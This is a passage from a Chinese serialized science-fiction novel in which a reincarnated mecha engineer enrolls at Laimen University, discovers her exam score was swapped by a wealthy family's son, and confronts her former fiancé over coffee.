一说到这个，车研究员就激动了起来：“你不知道？尤里斯爱荷华啊，我们老大那破未婚夫，咳，不好意思，我不太喜欢他。” “总之，这件事当初还上了星网头条，给了他好大一块版面。” 车研究员明显很真情实感，说得唾沫横飞。 “说什么尤里斯有情有义，说我们老大名声差，说尤里斯为了把老大葬在爱荷华家的墓地，和他爷爷大吵一架，在雨中跪了两天两夜！” “不是，都什么年代了，他们家的人是不是都表演型人格？谁稀罕他们家那破祖坟。而且我们老大哪里名声坏了，都是有人给她泼脏水。” “我们老大的尸体有的是人要，他们还嫌弃上了！” 众人：“……” “车，你这个说法有点。”怪怪的。 大龙不停擦汗。 “这个不是重点！” 车研究员说到这个，非常激愤，握紧了拳头：“我们这次去莱门本来就是为抓住骨灰小偷，谁知道半路杀出一群星盗，才搞得手忙脚乱的。” “但是在看到恒我的一瞬间，我明白了，这趟旅程，肯定是老大的在天之灵在提醒我们什么，比如一定要在这里救下恒我之类的……” 不，你们老大的在地之灵，根本没想到会在这里和你们碰面。 陶影呼出一口气，面色僵硬。 算了，车研究员胡来也不是一天两天了，柏氏工业的下任当家总不会跟着胡闹—— 陶影低头看了一眼平板，沉默了。 柏墨竟然还真的临时查起了当年那桩头条新闻，且神色严肃地表示“我会帮你们留意陶影骨灰的下落的”。 陶影嘴角抽动两下，一脸为难：“不用了，我觉得她应该不是很在意这件事……” “你怎么知道。” “我当然知道，因为我和她有一些复杂的关系。” 在看到车研究员张大得能塞进一个鸡蛋的嘴之后，陶影噗嗤一声笑了。 “我的意思是——我是陶影——资助过的学生。” “所以你的意思是，你曾经见过恒我的资料？”虚拟屏幕那头的柏墨两手交叠，神色严肃道。 “是的，陶影死后，我用一些方法查到，她在第三星系有一个隐藏的住所，那里的服务器存留有一些恒我的资料，大概是她的备份吧。” 支开无关人士后，陶影解释道。 她出生在第三星系，在那里的确有住所，偶尔还会回去看看。 不过那个家存留有恒我的资料就纯属胡说了，陶影根本不可能把资料留在这种不安全的地方。 至于陶影为什么编造这样一个故事—— 她需要一个理由，她对陶影本人如此熟悉，对恒我如此熟悉的理由。 遮遮掩掩总会出错，不如真诚地说点假话。 最好的谎言，就是真假参半。 “原来是这样。是有听说陶影在莱机所的时候，以她家人的名义资助过不少学生。” “但你怎么查到她的备用系统，又是怎么进入的？以她的隐匿能力，不太可能被发现吧。” “这个涉及个人隐私，就不便透露了。” 陶影微笑。 柏墨看着屏幕这头的人，沉 默片刻，没有再问。 解锁者在星舰上曾经骇入控制系统，她找到陶影备用服务器的方法大概也不言而喻了。 一些灰色地带的技术手段。 陶影跟柏墨加上好友。 柏墨严肃地点头：“恒我随时等待你成为它的机师，如果需要，可以联络我的私人账号。至于你查到的那部分资料，请发给我一份。” “好的。” 有关开机甲的事，陶影并没有把话说死，毕竟以后因为恒我，还会跟柏氏工业有不少来往。 “至于资料，那些数据比较基础，大概派不上用场。你想要数据，不如问她。” 陶影指了指车研究员。 “她记得恒我每一个零件的尺寸。” 车研究员狐疑道：“老大的资料也告诉你这个了？” “是啊，服务器里存放了她写的日记，好厚一本，可以说我认识她身边大部分人。”陶影笑眯眯地，面不改色编出谎话。 “难怪，我就说你怎么对我和大龙这么了解……” 车研究员自己就是会写日记的人，所以完全没怀疑陶影的话，她低头沉思片刻，又抬起头来，两眼放光。 “日记能不能给我看看？” “不行，她特地在里面写了，不能给莱机所的同事，尤其是一位姓车的员工看。” 陶影慈祥道：“她说你们几位同事，总是在她的房间聚众看‘星火科学’系列节目，有点迷信，行为不太靠谱。” 车研究员反对：“那是十年前的事了，我现在都看谣言终结者的，我成熟了好吗！” ……不都是同一个类型的节目吗。 陶影面色麻木：“总之遵从她的愿望，我不能告诉你们。” “真的真的不能吗？我只是想推测一下偷走老大骨灰的小偷是谁！” “不行。” 不是陶影不给，她根本没有写日记的习惯。 那不是留下自己的弱点吗。 但最后拗不过两位同事，陶影头痛地按着太阳穴，举手投降。 “如果在日记里发现了陶影骨灰的线索，我会通知你们的。” 第19章 陶影在身体恢复到正常状态之后,继续乘坐星舰，前往莱门市，这次因为有机甲小队保护,没有再出什么岔子。 雪茄型的星舰停靠在港口。 机场女声开始播报。 【本次航程已到达终点，请到站的乘客拿好行李,依次离舰——】 走下星舰的瞬间，站在舷梯前,熟悉的城市映入眼帘。 立体广告牌上播放着加西亚电子的广告,繁华又充满科技感,外地游客驻足在广告牌前拍照。 通往地面的电梯到了。 一行人齐刷刷地涌了进去。 直立式的透明电梯，外形是圆形的玻璃管道,比商场里的大型鱼缸更为透亮,可以清晰地看清外面的景色。 赫莉望着广告牌,发出惊呼声。三人组挤成一团，将掌心贴在电梯上,开始叽叽喳喳讨论切斯特星的先进科技。 陶影半靠着玻璃，看她们胡闹。 “真怀念,已经十年没回这个地方了。”车晓理感叹。 陶影的视线望向莱机所的方向——那里早已经是一片废墟，现在已经被商业区代替。 再看两位同事，大概是想起莱机所以前的样子,神色都有些黯淡。 陶影倒是很安定。 毕竟这十年对她来说是停止的，就好像昨天还在莱机所工作一样。 港口距离地面一公里左右，电梯在空中下行，到达地面，花费了十分钟。 门左右打开，陶影走到电梯边，等待所有人出来。大家的目的地不同,似乎应该在这里说声道别了。 赫莉、本杰明、索尼娅还在到了莱门市的新奇中，他们蹦蹦跳跳地坐上悬浮舰，打开窗户朝陶影他们挥手。 “小颖姐，没事找我们出来玩啊！” “嗯，有时间的话。”陶影答道。 虽然她接下来要做的事情很多，大概不会有时间。 悬浮舰升上空中轨道，以过山车的速度，飞速开走了。 车研究员回过神，这时候才想起来，她竟然一直没有问过学妹的名字。 “小影姐？你单名一个影字吗？” “新颖的颖，”陶影点头道：“我姓白。” “哦，哦。” 车研究员连连点了两次头，呆呆地盯着陶影的脸，随后看向莱机所的方向，显然被拉入了回忆中，情绪有些低落。 大龙不好意思道：“抱歉，她想起莱机所的事情就会……” “我知道。” 陶影静静站了一会儿，直到悬浮舰开走两班。 大概在五分钟后，陶影将行李塞到车研究员手中，说有事要单独离开，回来的时候，手里的咖啡托里放了两杯咖啡。 大龙有些疑惑，所以她刚刚说有事，就是去买了两杯咖啡？车研究员却突然眨了眨眼睛，接过咖啡。 “你……你。” 陶影耸耸肩：“第二杯半价，你们在莱机所的时候不是这样吗？” 车研究员又露出一副呆滞的表情。 “老大的日记里连这个也写着的吗？” “当然，不然我还能有什么理由知道？” “我又不是她本人。” 陶影似有若无地笑了声，抿了一口咖啡，随后从车晓理的手中拿过行李，踏上前往莱门大学的悬浮舰。 她没有回头，举起手挥了两下，当作是再见的招呼。没有太多离别的情绪，是因为知道总会再见。 “莱机所不会就这样消失的。” 她用两位前同事可以听见的声音说。 “——我保证。” 切斯特星的港口就设置在核心的A区，距离莱门市只需要十分钟车程。 陶影没有在中途停留，直接去了目的地。 十分钟后，悬浮舰到达了莱门大学。 付完乘坐悬浮舰的200星币，账户里只剩几千星币，这点大概够陶影一个星期的花销。 陶影的钱，大多都花在了买身份ID和船票上，没剩多少了。 说实话，坐悬浮舰过来的这两百星币，对她来说也很肉痛，但她体质太差，也不可能走过来。 …… 早知道应该发挥学妹这个身份的优势，敲诈一下两位同事的，她最近还是太有良心了。等报完名，还得想办法挣点生活费。 陶影摇摇头，拖着行李，走到学校门口的时候，仰着头，用手遮住阳光。 金色的字迹写着“莱门大学”。 一如当年。 莱字上有一个填补过的小裂痕——是她当年开机甲撞出来的，当时赔了不少钱来着。 道路两旁种满银杏树，它们的年龄比学校的历史还长。 因为路上耽误了时间，前几天大部分人都已经报道完成了，所以并没有人排队，陶影刷了一下身份卡，填好表格递了上去。 负责的老师扶了扶眼镜，看向光脑上显示来的学籍数据。 “哦，机甲驾驶专业的学生！欢迎就读莱门大学，你即将开始四年……呃，美好的大学生活。” 说到美好这两个字的时候，负责老师似乎有些心虚。 陶影疑惑地指向表格上她填写的专业。 “您弄错了，我填报的专业是机甲系统。” “不不不，学籍系统里显示，你的专业就是机甲驾驶，你检查一下光脑里的录取通知书呢。” 陶影将背包放在脚边，点开光脑，而查询界面显示的赫然是…… 机甲驾驶专业。 看到陶影呆滞的眼神，负责老师拍拍她的肩膀。 “可能你填报的时候填错了专业，不过没关系，都是机甲沾边的专业嘛，差不多的。” 差不多？ 陶影眼前一黑，等回过神来，才发现负责老师一脸惊恐地拉着她。 “同学你没事吧？要不要帮你叫救护车？” 关掉光脑的心率警报，陶影回答“不用”，坐到一边的椅子上，深呼吸一口气，暂且平静了一下呼吸。 不能怪她激动。 众所周知，莱门大学的机甲驾驶专业，就是个合并来的二流专业，本校的学生嫌拉低档次，外校的学生更瞧不起。 这个专业根本没什么未来。 这都先不提了。 不是，哪怕 不是驾驶系，但凡是其它跟机甲沾边的任何一个专业，她都能接受，但是机甲驾驶专业？ 她这个身体状况？ 机甲驾驶专业？ 再上一次机甲驾驶席，她会立刻去世。 陶影在离开第四星系的时候，明确确认过各种细节，绝对不可能是她填报错误，那么虽然可能性很小，也只能是莱门大学的学籍录入出现了问题。 她决定先解决这个问题，将背包挎在左肩，就朝办公楼走去。 “哎，同学，你慢点！” 负责老师看着陶影苍白的脸色，十分担心她会在半路倒下，本来想拦住，但起来的时候踢到了椅子，就没拦住。 片刻后，看着陶影的背影走向一条小路，她大声喊道。 “哎，同学，去办公楼不是走那边啊……” 但陶影根本没听见，只一昧地往前走。 旁边的老师听见她喊，也抬起头，她拍拍另一位老师的肩膀。 “没事，那边是条捷径，也可以去办公楼的。” “真的假的？” “我骗你干嘛？不过确实挺奇怪的。我都来学校三年了，才知道这件事。新生怎么第一次来莱大就知道去办公楼的捷径。” 老师疑惑地嘟囔，扶起椅子。 “估计她以前来过吧。” 陶影紧急赶往办公楼，在和工作人员商讨后，并没有得出结果，那边咬死是她的信息填错，告知她不能更改。哪怕陶影出示了证据，也没把她说的话当一回事。 陶影调查了成绩，发现自己的分数被人调换了。对面是一个叫甘逸的人。 几十年前，也常有顶替偏远星系学子分数的情况。 不过后来，被一个神出鬼没的黑客组织捅出来了。 各星系的相关组织联合起来，重罚了相关人员，之后基本杜绝了这种情况。 毕竟涉及到教育公平。 没想到这么多年过去，还有人敢做这种事。 大概是欺负陶影来自偏远星系，又没有直系亲属，觉得她也没渠道反抗所以才选的她。 真是天选之人啊。 呵呵。 话说这个换掉她分数的人……甘逸，好耳熟的名字。 陶影看了一眼他的姓氏。爱荷华。 爱荷华家族？ 你说这个她可就不困了。 本来没想这么早跟他们扯上关系，没想到冤家路窄。 “所以说，这件事情是你自己的责任，学校这边没办法帮你处理。” 见陶影愣神，工作人员手里拿着文件咄咄逼人，一副想要逼退陶影的架势。 陶影意味深长地看了他一眼，没有再深究，离开了。 等她离开后，工作人员接通了一个电话。 “你好……是的是的，那名学生今天来了，她离开了，应该是放弃了。好的……” 工作人员挂断电话，松了一口气。 其实明眼人都能看出来这是怎么回事。就是分数被顶替了嘛。但这种事情，遇见了也只能认栽。 谁敢得罪爱荷华家族啊，他们可给学校捐了不少钱。 这位学生也怪可怜的，本来分数挺高，偏偏被替换成了莱门大学最不受待见的“那个学院”。 工作人员象征性唏嘘一下，转头又打开光脑开始刷社交网络。 莱门大学的机甲学院，有两个。 一个就叫机甲学院，内有机甲科学、机甲历史、机甲文学等专业，就在本校区。 另一个叫做“机甲特别学院”，在另一个校区，乘坐穿梭舰有十分钟的路程。 陶影拖着行李再次下车。 破旧的铁门，墙皮剥落的围墙。生锈的校牌上写着“莱门大学机甲特别学院”。 “特别”两个字非常小，似乎是故意不想让人注意到。 这个外表，完全没办法让人联想到“星际TOP1高校”。 是的，莱大作为综合性大学，唯一不太行的就是机甲驾驶方面，这个“机甲特别学院”，是一所三流军校并入的，为了增强学校的综合性。 但这场合并显然对莱门大学没有什么正面影响。 整个校区都特别旧。 陶影来到宿舍楼下。 宿舍楼是建校以来就有的了，摇摇欲坠。 照理来说，一楼该有机器人平台帮忙把行李运送到指定楼层，但这里显然是没有的。甚至电梯也显示维修中，用不了。 陶影只能自己把行李搬上去，她看了一眼自己的宿舍号，1404。 又看了一眼自己的光脑，心率58。 光脑提示她正在“燃脂”状态。 “……” 如何把十千克行李提上十四楼，这是她过去几十年人生遇到的最有挑战性的难题之一。 给恒我改bug的时候都没有这么束手无策。 正想着该怎么办，行李箱旁边突然伸过来一只手，随后出现一名高大的女子——目测有一米八。 头发半长，很有层次感，挺帅气的风格，但却穿着动漫美少女印花的粉色衬衫，嘴里还叼着根棒棒糖。 “你住几楼啊？我帮你搬上去。” 陶影露出感谢的眼神。 “十四楼。” 高大的女子一手提起她的行李：“嗯？我也住十四楼，你十四楼哪一间？” “1404。” “我也住1404！太巧了吧，”她想伸手过来和陶影握手，又忘了手上有行李，冒冒失失地把手收了回去，不好意思道，“我林别歌，机甲驾驶专业。” “白颖，也是机甲驾驶专业——小心撞到头。” 陶影出言提醒。 林别歌微微弯下身子，避开门框旁裸露的螺丝钉。 这要是被刮到岂不是破伤风起步？ 林别歌抱怨：“真是的，这门高度和状态都不符合消防安全吧？” “似乎是早年私下改建的校舍，本来高度就是按最低标准建的，年久失修门框变形，就更矮了——” “哎，莱门大学怎么这样，”林别歌哀叹两声，“我入学了才知道，这里是‘机甲特别学院’，少看了‘特别’两个字，感觉未来四年惨了……你不会也是被忽悠来的吧？” “差不多吧。” “你叫白影啊，那我叫你影子好了。你叫我小林就行。” 陶影本来想纠正说她名字叫“白颖”，林别歌弄错了同音字，但想想算了。也没什么影响。 林别歌人高腿长，先上去了，等陶影到宿舍的时候，她已经等了很久。 “怎么这么慢才上来……你腿怎么了？” 陶影爬了两楼，眼前有些头晕眼花，腿还不知道在哪里蹭出了伤口，林别歌这人性格非常热心肠，当即拿出伤药帮她处理。 她拿出的药箱里各类常见药品都非常齐全，跟她大大咧咧的性格有点不太相符。 “这是学校分配的药箱？” “怎么可能，就是我自己的，你看这个宿舍条件，”林别歌指了指墙上的霉斑，“他们连这个都不管，你还指望他们准备常用药。” 陶影翻了翻药箱。 “挺齐全的。” “哎，我在外面打工经常受伤啦。”林别歌包扎完，拍拍陶影的背。 “到时间了，我要去打工了，你吃饭的话，记得去三窗口，那里的东西勉强能吃。还有，五窗口那个阿姨量给得多，你要是吃得多，记得去找她。还有二楼那家……三楼……” 刚来学校两天，小林同学倒是把食堂摸得一清二楚。 陶影还没来得及说什么，林别歌长腿一迈，风一样地就消失在了宿舍门口。 宿舍是四人间，很简陋。 床头都贴了名字牌。陶影绕床走了一圈。 很奇怪。 陶影因为在路上耽搁了，所以到校时间已经很迟，是最晚的一批。现在宿舍内还有两张床空空如也。 三个名字，应该有三个人才对。 过两天就上课了，还差了一个人没来。 不会也是专业调换的受害者吧。 说到这个，她专业的问题还没有解决。 陶影 坐在床上，捏着刚爬了14楼酸痛的双腿。 她干脆地用校内邮箱发送了一封邮件。 希望这封邮件可以在两天内给她一个答案—— 作者有话说：终于——上学——啦—— 小林同学上线。 第20章 爱荷华家族领地内。 金发青年静立在门前。 他身形高挺,神色严肃。军装熨烫得一丝不苟，皮质黑色手套包裹着修长的手指。 长靴踩地，自带一股压迫感。 青年伸手敲门,但里面并没有回音。 几名仆人低着头，站在他身边,汗如雨下。 青年冷声道：“甘逸呢？” “小少爷他，他开车出门了……” “如果我没记错,他上个月才撞了人,正在家里关禁闭,他怎么出去的？” “这，这个……我也不太清楚。” 甘逸是当着仆人的面溜出去的,他溜出去的时候,仆人不敢拦,现在有人问，他们也一个字也不敢多说。 尤里斯和甘逸,一个是帝国上将，一个是家里受宠的小少爷,家族里除了家主，最有话语权的就是他们，得罪谁都不行啊。 气氛僵硬得有些恐怖,直到管家匆匆赶过来，仆人们像看到救星一样，松了一口气，赶忙找个借口离开。 管家擦了擦汗，凑上前：“阁下，您找甘逸小少爷什么事？” “让他为自己做的蠢事买单。” 尤里斯把手里的文件扔到桌上。 管家拿起文件，扶了扶眼镜,看了一眼文件内容。 是一封邮件。 一位自称“莱门大学无辜学子”的学生表示，她的联考分数被甘逸爱荷华调换了。 她声称手里有证据，要约个时间和尤里斯少爷面谈。 “邮件直接发给您？”管家语气疑惑。 真奇怪。按正常思路来说，邮件应该发给甘逸的父亲，而不是尤里斯。 只有爱荷华家族内部的人才知道，甘逸的父亲没有实权，大部分事务都是尤里斯少爷在处理。 “看来这名‘无辜学子’对爱荷华家族内部非常了解，”管家点头，“而且邮件的措辞严谨，滴水不漏，不是学生能写出来的文章，背后肯定有人操刀。内容您查过了吗？” “查过了，属实。” 但就算不查，也根本不需要怀疑这封邮件的真实性。 尤里斯拧眉，一副头疼的表情。 “爱荷华家上下，谁不知道甘逸的水平？他根本就不可能考到这个分数。” 以爱荷华家的财力，只要捐栋楼，想读莱门大学，不费吹灰之力。能干出替换别人分数这种危险违规操作…… “不知道甘逸脑子是怎么长的。” 管家擦汗，这话他可不敢接。 犹豫了一下，管家说：“我有一个办法可以联系上小少爷。” 尤里斯冷脸道：“这件事情交给你去办吧。” 说完尤里斯转头就要走，管家在后面追问：“那这‘无辜学子’您还见吗？要不要我处理？” “不了，我亲自去，”青年上将冷笑一声，“我倒要看看她究竟想干什么。” 陶影一觉醒来，就收到了尤里斯爱荷华的邮件，说在约定的地方见面。 这个结果在她预料之内。 尤里斯最不喜欢被人拿着证据威胁，肯定会来。 她没什么反应，下床洗漱。 “嘟噜噜”吐掉嘴里的泡沫，手撑在洗漱台上，看向镜子里的自己。 左看右看，还是不太习惯这张脸。 太缺乏攻击性了。 感觉走在路上会被优先介绍“游泳健身了解一下”。 在旅游景点会被人不停拉着说“同学能不能帮我拍张照”。 陶影想起以前朋友评价她“笑起来是成熟大姐姐，不笑的时候还挺拒人千里之外的，要不是我一眼看穿你的本质，根本不敢上前和你搭话”。 陶影当时问朋友：“我的本质是什么？” 朋友毫不犹豫答：“脑子很聪明的神经病。” 神经病也挺好的，最起码能让人忌惮一下。 现在…… 陶影伸出手，露出自己的肱二头肌。 她曾在莱机所，趁下班时间，努力练出来的肌肉—— 统统没有了。 “……” 要揍那位未婚夫一顿看来是不太可能了。 算了，慢慢来吧。等做了体质改造手术，身体应该会好一点。总不可能顶着这个体质F的身体一辈子。 何况身体变了脑子没变，她照样可以做一个让人忌惮的……神经病。 陶影低头看向尤里斯发来的邮件，给睡眼蒙眬的林别歌打了声招呼，就出门了。 下午三点，星际漫游咖啡店。 陶影坐在咖啡店的角落，点了一杯冰莱式加舒芙蕾。 很快就传来店员小声的议论声。 金发碧眼的青年进来后，径直走向她的位置，坐在对面。青年点头，姿态中带着一种贵族的优雅。 “尤里斯爱荷华。” 尤里斯少了几分当年的稚嫩，行事变得更谨慎了。 听说这十年，他从少校升到上将了？ 这速度挺快的。 陶影倒不怀疑尤里斯的实力。 相反，她非常肯定这位“未婚夫”的能力。 毕竟爱荷华家族在军方并没有什么人脉，不存在什么关系户直升。 尤里斯选择进入帝国第一军校，随后加入帝国军，奔赴前线，不是出于什么伟大的理想——而是为了军功。 为了他的家族辉煌，也是为了在那个家族中有一席之地。 看来尤里斯当年的愿望达成了，他取得了爱荷华家族的实质控制权。 陶影往冰莱式里加了半杯牛奶，一边漫不经心地搅着。 她能感觉到尤里斯的视线，一直在她身上停留，没有离开过，像在打量她究竟有没有威胁。 这点也没变。 陶影将杯子放回桌面，微笑道。 “我就不报名字了，想必你来之前应该调查过。” “你想要什么？”尤里斯单刀直入。 “让我换回原本的专业。” 尤里斯沉默了一瞬，双手交叠在膝盖上。 如果这名学生只是想要钱，那很好解决。 但如果要换回分数，就坐实了这件事情是爱荷华家族动的手脚。后续处理非常麻烦。 “除了这个，其它的都可以。” 他点开转账界面，手指将光脑移到陶影的面前。 “想要多少，你自己决定。” 陶影微笑着将光脑推回。 “这不是钱的问题。尤里斯少校。” “上将。” 尤里斯纠正了她。 “哦，是的，上将，”陶影更改了用词，语气略有点敷衍，“您作为帝国第一军校培养的顶级机师，想必也清楚莱门机甲特别学院的‘含金量’，恕我不能接受这个解决方式。” 尤里斯没有多说，直接转了五百万星币到陶影的账户。 他声音低沉：“你是聪明人，应该也知道，就算换回原本的专业，也不见得能有多好的未来。” “如果想从事相关的开发职业，爱荷华科技现在就可以给你实习机会。” 真是“循循善诱”啊。 陶影喝了一口咖啡。 一般人在这里应该就放弃了。 五百万星币，再加上爱荷华科技的橄榄枝。这是很多人这辈子都达不到的高度，尤其对这个年纪的学生来说，更具诱惑力。 但陶影不为所动。她顿了一下，态度依然很强硬。 “很诱人的提案，可惜我和贵公司的研究理念不太合。” “我的诉求只有换回我原本的专业——机甲系统。” 尤里斯似乎有些失去耐心，他绷紧身体，缓缓倾身，朝陶影靠近。 皮靴摩擦，腰间的金属扣撞击桌面，发出冰冷的声响。 眼神中满是上位者的压迫感。 明明没有穿军装，却在无声地传递着一个信息—— 他说的话不容质疑。 “想要的太多，最后恐怕会什么都得不到。” 其他人只能看见尤里斯凑近了桌子，听不清他说什么。 陶影坐在沙发上，却是将话语中的威胁听得清清楚楚。 她坦然地看向他，自始至终没有移开视线。只是毫不在乎地挑眉。 这是场安静的交锋。 陶影没有动，对手也没有轻易改变局势。 尤里斯本以为做到这个程度，足以吓退一个刚刚上大学的学生，但他似乎失算了。 陶影既没有因为被轻视恼羞成怒，她坐得气定神闲。 反倒显得站着的他落于下风。 半晌，陶影先动了。 她举起双手，后退靠在沙发上，微微偏头，开玩笑道：“上校，您的眼睫毛果然很长。我认输了。” 尤里斯：“……” “是上将。” “哦，不好意思，上将，”陶影拍拍脑子，“你看我，记忆力总是不太好。好吧，我一个第四星系的学生，的确没有反抗爱荷华家族的能力。” 陶影话语当中似乎在示弱，但眼神并没有。 她露出笑容。 “刚刚尤里斯上将是说，除了换回专业，其它什么要求都可以？” “是的。”尤里斯颔首。 “说话算话。” “当然，不会反悔。有什么要求尽管提……” 尤里斯话音未落，陶影迅速端起眼前的咖啡，眼疾手快地泼了出去。 “啪——”一声闷响。 像是一个响亮的耳光声音。 陶影当着众人的面，把咖啡泼到了上将大人的脸上。 空气仿佛冻结了，陶影手上还残留着焦糖的热气。 有点烫。 陶影拿过纯白的纸巾，擦掉手上的液体，还顺便好心地给对面的人递了一张过去。 “上校？” 他没接。 行吧，反正也不是真心递的。 陶影耸耸肩，收回了纸巾。她优雅地靠在沙发上，打量这位男士的样子。 哦——眉头跳了一下，上将大人看上去非常生气。 上将大人投来一个警告的眼神。 以陶影对尤里斯的了解来说，他的意思是：你再这样下去，别怪我不客气。 可惜，看来只能到这里为止。 陶影耸耸肩。再继续，就要被扭送警局了。 咖啡浇脸应该挺烫的。 但这人应得的。 陶影最后一次见到尤里斯，是在死前十分钟。 莱机所被火光吞没，火焰燎过陶影的身体，她踉跄着，爬上一楼，冲到大门前，却被门口扑面而来的大火堵死。 陶影步步后退，背脊贴上冰冷的玻璃。 外面似乎传来说话的声音。陶影转过头，就这样隔着一层玻璃，和尤里斯对视了。 火光映照着尤里斯碧色的瞳孔。 他没有动，也没有说话，就这样静静地和陶影对视。 两个人谁也没有意外。 然后尤里斯转过头，下命令说，把大门再锁死一点。 “……” 陶影从回忆里抽身，面色冷漠，重新看向对面坐着的上将大人。 那时的火可比咖啡烫多了—— 作者有话说：yo，前夫哥。[吃瓜]魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 20-30 第21章 尤里斯光洁的额头,淅淅沥沥地流下棕色液体，看上去脏兮兮的，非常狼狈。 店员和隔壁桌的客人本来还处在震惊当中,这会儿似乎是终于反应过来了，忍不住发出惊呼。 “她竟然敢泼尤里斯上将！不怕被星警抓起来吗？” “上将似乎没什么反应……他掏出纸巾把咖啡擦掉了。什么情况？” “气氛怪怪的,看上去像是上将理亏。” “不会是是情感纠纷吧。” “不像，上将不是一直忘不掉他那位前未婚妻吗。甚至和家里闹翻了。” “你俩少看点八点档吧,陶影都死了十年了。” 陶影：“……” 尤里斯这个深情人设倒是装得挺像,她都死这么多年了,竟然还有路人记得他们订婚的事。 怕不是演着演着自己都信了。 尤里斯起身，明明被泼了咖啡,一身狼狈,但仍旧没有失掉那副高贵的姿态。 “结束了？” “是的。不好意思,年轻人，气血比较旺盛,容易上头。您不会和我一个学生一般见识吧？”陶影微笑。 “不好意思？” 尤里斯看了眼没有一点歉意的陶影，眼神中全是冷漠。 果然还是个学生,处理问题的方式这么冲动。看来之前推测她背后有人操刀，是他多想了。 尤里斯走到柜台结帐，正要出去,陶影像是想起什么，又跟上来。 “对了，还有一件事，就当是我单纯的好奇吧。” “刚见面的时候我就想问了，你那位前未婚妻——哦，就是陶影，她的骨灰在哪里？听说她的尸首原本是你在保管。” 尤里斯此刻终于面色一黑。 “不知道。” “难道是被偷走了？偌大的爱荷华家族,不会连一罐骨灰都保管不好吧？” “哦——也不对，说起来陶影只是和你订婚，你好像本来也没有权利保管她的尸体。” “……” 尤里斯离开了，脚步有些匆匆。 陶影一边微笑，一边又叫来店员点了一杯咖啡。 咖啡因让她的大脑清醒了一点。 她双臂交叉，指尖轻敲手臂，低头思考。 莱门大学转专业，对课程学分要求非常高，尤其是从机特学院转到普通学院。 想转专业？先拿满绩。 想拿满绩？你转专业呀！ 死循环了朋友。 这机甲驾驶专业……看来只能硬着头皮读下去了。 早知道再要五百万精神损失费。 陶影心里刚把甘逸剁成了十块八块的，光脑突然传来嘟嘟的响声。 低头，是车研究员的新消息。 【那个，老大的骨灰去哪儿你有头绪了吗？】 陶影敲了下键盘，回：“你那么执着陶影的骨灰干什么。” “那个，万一有人拿去提取DNA……” “会干这种事情的也就只有你们了，星际伦理法了解一下。” “老大的日记连这一步都预测到了吗？”车研究员震惊。 陶影：“……” 车研究员的脑回路有时候挺清奇的，着实不太像一个成年女性。 算了，先说正事。 “骨灰的事，我找到线索会告诉你的，现在有个忙需要你帮。” “什么？你说。” “你有最近二十年星际联赛的数据吗？比赛过程，机甲型号，参赛选手，全方位的数据。” “有倒是有……我好几个硬盘存着呢。现在发你吧。不过你要这个做什么？” 车晓理是机甲狂热粉丝，每年的大小机甲比赛她都会去现场，保存全方位录像，不同赛区到处跑的情况也有。 发过来的数据果然非常详尽，甚至还按学校分门别类，陶影一边检查数据，心满意足吸了一口咖啡，随意道。 “反正有用。” “你不会是打算参加星际联赛吧？之前医生不是说你的体质要谨慎吗？而且星际联赛在海选阶段，只允许使用官方提供的机械机甲——” 车研究员话说到一半，但陶影理解她的意思。 机械机甲和知觉机甲不同，对体质的要求非常高。她现在的体质，参加海选基本上没有赢的可能。 毕竟海选阶段，为了提升公平性，避免装备碾压，是不允许使用知觉机甲的。 “我知道。” “那你还！” “一切皆有可能嘛。我只是略微调整一下人生规划。” 那头车研究员小声嘟囔。“你这听上去不像是略微调整”。 “话说，你的体质手术怎么样了？补贴申请到没？没有我去帮你问问。我好歹也是莱门大学的毕业生，有门路的。” “不用，学校补贴的钱够用了。” 其实机特学院能申请下来的补贴比正经学院少，不过。 陶影翻看账户余额。 加上今天这五百万，做体质手术，肯定够了。 钱对她来说倒不是什么大问题。 说来可能有点欠揍，但她打小就非常擅长挣钱。 那头传来叽叽喳喳的声音，车研究员似乎是在工作中摸鱼回陶影的消息，她小声对着这边 说： “那就好。你要是手术需要人陪同，记得叫我。我先去工作了，机甲方面有什么问题也可以问我，有问必答。” “那就提前谢谢你了。” 陶影挂断电话，联系上第一星系基因手术最顶尖的医院，预约了体质手术的检查。 回到学校，已经是凌晨十二点。 没想到“机甲特别学院”各方面都挺特别的，宿舍楼竟然有门禁。陶影敲了好久的门，才有一个在空中浮浮沉沉的菱形智能体，飘过来开门。 “半夜开门，收费两百星币——？”身边晚归的学生看到智能体手里的标牌，骂骂咧咧给钱，“好的学校只管学习，差的学校什么都管。还收钱，你收这么多钱就不能把电梯修修？” 陶影交完钱，转头一看，果然，电梯还挂着维修中的牌子。 又要爬十四楼？ 陶影看着仿佛没有尽头的楼梯，微微叹气。 她思索片刻，转过身，敲两下旁边的同学的肩膀。 “同学，我出两千星币，能背我上十四楼吗？” 那同学刚交了两百星币，乍被人搭话，语气中有些不耐烦，但在反应过来陶影说了什么之后，眼神一亮。 两千星币，是她一个月的饭钱！ 再一看，这人瘦瘦弱弱的，体重很轻，这桩交易对她来说简直不要太划算。 她生怕陶影反悔，迅速把人背了起来。 “成交！” 回到1404，灯关着，陶影困得不行，半闭着眼睛洗漱，爬上床就沉沉地睡过去。 半夜突然醒过来，看到床下亮着灯。 现在已经两点了，林别歌是刚回来？ 这么晚是出去干什么了。 林别歌没有注意到陶影醒着，小心翼翼地回到自己的椅子上，提出药箱来，开始在腿上抹，时不时嘶一声。 好像是受伤了。陶影把手伸出床边，向下探头。刚要出声，林别歌像是心有灵犀一样抬起头。 一个披散着头发的女人趴在床边。 “啊！鬼啊！” “是我。” 陶影无语地拨开前额的头发。 林别歌定睛一看，才发现那个趴在床边垂着头发的女人原来是她的新室友。 “什么啊——是你啊影子。你这脸色也太苍白了，大半夜的谁看见都得吓一跳，”林别歌吓得不轻，拍拍胸口才缓过来，“你还没睡啊？” “本来睡着了，中途醒了。你受伤了？” 林别歌支支吾吾地说：“没什么，就是路上摔了一跤。睡吧睡吧，我马上也睡了，明天还要上课呢，开学第一天，早点睡。” 说完林别歌迅速收拾了一下，爬上床就闭眼，立刻入睡。 看上去像是怕陶影问她什么。 比如怎么受的伤。为什么连续几天晚上不回来。 陶影若有所思地看了她一阵，盖好被子回去睡了。 开学前几天的上课内容并没有什么有营养的东西，基本上都是在劝学。 “机甲的上机课程，平时分和期末各占50%，期末会有上机测验。” “平时上课和上机测验都是团体对战形式，所以强制三到四人一组，大家这两周组好队伍吧，就这样，下课。” “哎——”大家对强制组队发出不满的声音。 老师无情道：“机甲考验的就是团队作战，星际联赛都是团体赛，加油吧同学们，希望在赛场上看到你们。” “怎么可能，就我们这个三级军校的水平。” “就是，连海选都过不了吧。” 大家嘴上虽然不满，但为了学分，还是开始找人组队。 